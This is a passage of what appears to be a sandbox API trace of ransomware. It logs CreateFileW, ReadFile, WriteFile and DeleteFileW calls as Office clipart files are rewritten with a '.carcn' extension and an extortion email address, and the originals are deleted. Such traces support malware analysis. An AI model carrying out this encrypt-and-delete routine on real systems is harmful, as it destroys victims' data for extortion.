4 [0302.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.053] lstrlenW (lpString=".jpg") returned 4 [0302.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.053] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.053] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.054] GetLastError () returned 0x0 [0302.054] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x380, lpOverlapped=0x0) returned 1 [0302.054] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x390, lpOverlapped=0x0) returned 1 [0302.055] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.055] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.056] SetEndOfFile (hFile=0x380) returned 1 [0302.056] CloseHandle (hObject=0x380) returned 1 [0302.056] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.056] SetEndOfFile (hFile=0x360) returned 1 [0302.057] CloseHandle (hObject=0x360) returned 1 [0302.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0302.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.057] lstrlenW (lpString=".doc") returned 4 [0302.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.057] lstrlenW (lpString=".docx") returned 5 [0302.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.058] lstrlenW (lpString=".pdf") returned 4 [0302.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString=".xls") returned 4 [0302.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.058] lstrlenW (lpString=".xlsx") returned 5 [0302.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.058] lstrlenW (lpString=".ppt") returned 4 [0302.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.058] lstrlenW (lpString=".zip") returned 4 [0302.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.058] lstrlenW (lpString=".rar") returned 4 [0302.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString=".bz2") returned 4 [0302.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString=".7z") returned 3 [0302.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.058] lstrlenW (lpString=".dbf") returned 4 [0302.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.058] lstrlenW (lpString=".1cd") returned 4 [0302.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0302.058] lstrlenW (lpString=".jpg") returned 4 [0302.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.059] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.059] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.059] GetLastError () returned 0x0 [0302.059] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0302.060] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x300, lpOverlapped=0x0) returned 1 [0302.061] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.061] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.061] SetEndOfFile (hFile=0x380) returned 1 [0302.061] CloseHandle (hObject=0x380) returned 1 [0302.061] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.061] SetEndOfFile (hFile=0x360) returned 1 [0302.062] CloseHandle (hObject=0x360) returned 1 [0302.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0302.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.547] lstrlenW (lpString=".doc") returned 4 [0302.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.547] lstrlenW (lpString=".docx") returned 5 [0302.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.548] lstrlenW (lpString=".pdf") returned 4 [0302.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString=".xls") returned 4 [0302.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.548] lstrlenW (lpString=".xlsx") returned 5 [0302.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.548] lstrlenW (lpString=".ppt") returned 4 [0302.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.548] lstrlenW (lpString=".zip") returned 4 [0302.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.548] lstrlenW (lpString=".rar") returned 4 [0302.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString=".bz2") returned 4 [0302.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString=".7z") returned 3 [0302.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.548] lstrlenW (lpString=".dbf") returned 4 [0302.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.548] lstrlenW (lpString=".1cd") returned 4 [0302.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0302.548] lstrlenW (lpString=".jpg") returned 4 [0302.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.548] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.548] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.549] GetLastError () returned 0x0 [0302.549] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1234, lpOverlapped=0x0) returned 1 [0302.550] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1240, lpOverlapped=0x0) returned 1 [0302.550] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.550] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.550] SetEndOfFile (hFile=0x380) returned 1 [0302.551] CloseHandle (hObject=0x380) returned 1 [0302.551] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.551] SetEndOfFile (hFile=0x35c) returned 1 [0302.551] CloseHandle (hObject=0x35c) returned 1 [0302.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0302.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.552] lstrlenW (lpString=".doc") returned 4 [0302.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.552] lstrlenW (lpString=".docx") returned 5 [0302.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.552] lstrlenW (lpString=".pdf") returned 4 [0302.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.552] lstrlenW (lpString=".xls") returned 4 [0302.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.552] lstrlenW (lpString=".xlsx") returned 5 [0302.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.552] lstrlenW (lpString=".ppt") returned 4 [0302.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.552] lstrlenW (lpString=".zip") returned 4 [0302.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.552] lstrlenW (lpString=".rar") returned 4 [0302.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.552] lstrlenW (lpString=".bz2") returned 4 [0302.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.553] lstrlenW (lpString=".7z") returned 3 [0302.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.553] lstrlenW (lpString=".dbf") returned 4 [0302.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.553] lstrlenW (lpString=".1cd") returned 4 [0302.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0302.553] lstrlenW (lpString=".jpg") returned 4 [0302.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.554] GetLastError () returned 0x0 [0302.554] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xf94, lpOverlapped=0x0) returned 1 [0302.554] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0302.555] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.555] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.555] SetEndOfFile (hFile=0x380) returned 1 [0302.555] CloseHandle (hObject=0x380) returned 1 [0302.555] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.555] SetEndOfFile (hFile=0x35c) returned 1 [0302.556] CloseHandle (hObject=0x35c) returned 1 [0302.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString=".doc") returned 4 [0302.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString=".docx") returned 5 [0302.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.557] lstrlenW (lpString=".pdf") returned 4 [0302.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString=".xls") returned 4 [0302.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.557] lstrlenW (lpString=".xlsx") returned 5 [0302.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.557] lstrlenW (lpString=".ppt") returned 4 [0302.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString=".zip") returned 4 [0302.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.557] lstrlenW (lpString=".rar") returned 4 [0302.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString=".bz2") returned 4 [0302.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString=".7z") returned 3 [0302.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString=".dbf") returned 4 [0302.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString=".1cd") returned 4 [0302.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0302.557] lstrlenW (lpString=".jpg") returned 4 [0302.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.558] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.558] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.558] GetLastError () returned 0x0 [0302.558] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0302.559] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xa50, lpOverlapped=0x0) returned 1 [0302.560] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.560] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.560] SetEndOfFile (hFile=0x380) returned 1 [0302.560] CloseHandle (hObject=0x380) returned 1 [0302.560] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.560] SetEndOfFile (hFile=0x35c) returned 1 [0302.561] CloseHandle (hObject=0x35c) returned 1 [0302.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0302.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.561] lstrlenW (lpString=".doc") returned 4 [0302.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString=".docx") returned 5 [0302.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.562] lstrlenW (lpString=".pdf") returned 4 [0302.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString=".xls") returned 4 [0302.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.562] lstrlenW (lpString=".xlsx") returned 5 [0302.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.562] lstrlenW (lpString=".ppt") returned 4 [0302.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.562] lstrlenW (lpString=".zip") returned 4 [0302.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.562] lstrlenW (lpString=".rar") returned 4 [0302.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString=".bz2") returned 4 [0302.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString=".7z") returned 3 [0302.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.562] lstrlenW (lpString=".dbf") returned 4 [0302.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.562] lstrlenW (lpString=".1cd") returned 4 [0302.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0302.562] lstrlenW (lpString=".jpg") returned 4 [0302.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.562] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.563] GetLastError () returned 0x0 [0302.563] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1510, lpOverlapped=0x0) returned 1 [0302.564] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1520, lpOverlapped=0x0) returned 1 [0302.565] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.565] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, 